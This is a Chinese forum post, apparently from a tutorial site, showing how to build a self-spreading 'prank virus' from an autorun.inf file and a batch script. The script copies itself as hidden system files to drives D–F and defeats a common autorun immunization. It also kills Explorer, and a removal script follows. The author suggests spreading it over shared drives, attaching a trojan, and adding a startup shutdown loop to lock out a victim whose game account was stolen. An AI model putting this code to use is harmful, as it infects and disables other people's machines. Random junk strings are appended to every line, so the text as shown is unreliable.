设为首页 | 收藏本页
登陆您的帐号 | 免费注册帐号
全部栏目 > 计算机 > 软件 > 人工智能
下一篇上一篇 首页图文展示(无图)

自制autorun.inf病毒

发布人:hy58
发布日期:2015-06-05 15:52:11
刷新日期:2015-06-05 15:52:11
回复或评论:0
阅览:371
最近电脑中了一个弱弱的病毒,貌似是一个比较流行的U盘病毒。突然想起以前接触过它的免疫手段,然后对其进行了一天的解析,将其修改一个弱弱的恶作剧病毒(其实不算是病毒,但是修改后能成为病毒。)它的名字相信很多人都熟悉,autorun.inf,当然,这个文件本身不是病毒,最初这个文件用于CD之类的软盘自动播放,并且,运用得当,可以修改自己的盘符特征,从而个性化自己的盘符。至于autorun.inf的原理大家可以去百度搜索,百度还有它的免疫手段,我破解了最常用的一种免疫手段,就是创建autorun.inf文件夹并内置畸形文件夹的手段(高手不要笑话,小手段而已)   RdDcMZ  
    首先创建一个记事本文件写入以下内容,   !<LS4s;  
1(?J>{-lw  
    [AutoRun]   # R&[+1=9j  
    open=copy.bat   u#,]>;  
    shellopen=打开(&O)   C49 G&  
    shellopenCommand=copy.bat   6,)y{/ENC  
    shellopenDefault=1   I;v`o{  
    shellexplore=资源管理器(&X)   <S}qcjG  
    shellexploreCommand=copy.bat   10J*S[n1  
Z:v1?v  
    并且将其改名为 autorun.inf(注意扩展名。)   J:u|8>;  
    然后在和 autorun.inf相同的目录下创建一个记事本文件写入以下内容,   ~ YK <T+  
zvf]}mNx  
    @ECHO OFF   nB5[]x'  
    if not exist d:autorun.inf goto :copy   Q]wM/7  
    rd d:autorun.inf /s/q   4I-p/&Q  
    rd e:autorun.inf /s/q   #:|Y(,c  
    rd f:autorun.inf /s/q   V>%yl{8  
    :copy   j/<y  
    if exist d:autorun.inf goto :eof   (UF!Zb]{  
    copy autorun.inf d:   |T_Pz& -  
    copy copy.bat d:   `yAo3A9vk  
    copy autorun.inf e:   4Aew )   
    copy copy.bat e:   X|`,AK Jit  
    copy autorun.inf f:   DME?kh>7  
    copy copy.bat f:   Tr0V6TS7  
    attrib d:autorun.inf +h +a +r +s   -FN6sNvIh  
    attrib d:copy.bat +h +a +r +s   5TneuGD  
    attrib e:autorun.inf +h +a +r +s   %hbLT{w  
    attrib e:copy.bat +h +a +r +s   TB%N1^  
    attrib f:autorun.inf +h +a +r +s   loUwR z  
    attrib f:copy.bat +h +a +r +s   GR ?u?-  
    TASKKILL.exe /im explorer.exe /f   NWHH.1|  
    START %windir%explorer.exe   O*03PF^  
zQ5jx5B":  
    将文件重命名为copy.bat,运行之后,你的电脑就被感染了,D,E,F盘将会打不开(高手当然有办法打开)。  DIqT>HHZ  
    这里我并没有将病毒传染到C盘,而且只写到了F盘,可以根据自己需要修改。   [k~+(.2I  
KTK6#[8A  
    然后就是解毒代码。同样创建一个记事本文件,写入以下内容  5uV"g5?w  
+ %#MrNM'  
    @echo off   ;2Ad])  
    attrib d:autorun.inf -h -a -r -s   CoUd16*"JM  
    attrib d:copy.bat -h -a -r -s   UiK+c30FU  
    attrib e:autorun.inf -h -a -r -s   F%.9f Uo  
    attrib e:copy.bat -h -a -r -s   @x=BJuUuX  
    attrib f:autorun.inf -h -a -r -s   ^KZAYB9C  
    attrib f:copy.bat -h -a -r -s   h#@4@x{  
    del d:copy.bat   ,dZ H$  
    del d:autorun.inf   7/&C;"  
    del e:copy.bat   Ql q#Zdru  
    del e:autorun.inf   Zc4(tf9  
    del f:copy.bat   ~"JE![XR  
    del f:autorun.inf   # Z|%0r_~  
    TASKKILL.exe /im explorer.exe /f   $_ix6z  
    START %windir%explorer.exe   C`NBHRa>  
]^*_F  
    将其重命名为 XXX.bat 运行,就会将这个小恶作剧给删除掉。   {WYu 0J@  
    应为只考虑了做个小恶作剧病毒,所以并没有对电脑进行实际上的操作,这里只是用一般的手段打不开盘符而已,并没有做木马之类的动作,也没有修改注册表。只牵扯到了简单的MS-DOS批处理手段,所以杀毒软件是感觉不出来的。  tDC0-N&6S~  
    若是经过修改,可以通过共享盘符使对方电脑感染,可以连接木马服务端,(其实,我想到了一个让电脑不断关机的方法,就是将其添加到注册表启动项,然后调用 shutdown -s -t 0 ,那么电脑一开机马上就关机了。具体有什么用,大家可以想象以下,盗了别人的游戏账号,然而对方电脑却一直打不开。。。朋友曾经碰到过类似状况)  ldAovX  
3{Na ZIk  
    若是有人中了类似状况,改天有兴趣在全面解析一次autorun.inf病毒的原理。。   %uGleY]~  
lfxuc7Rdla  
    再次声明,本人新手,高手手下留情。。。。。。 
评论(0) 暂无回帖


打印 收藏 关闭窗口 下一篇上一篇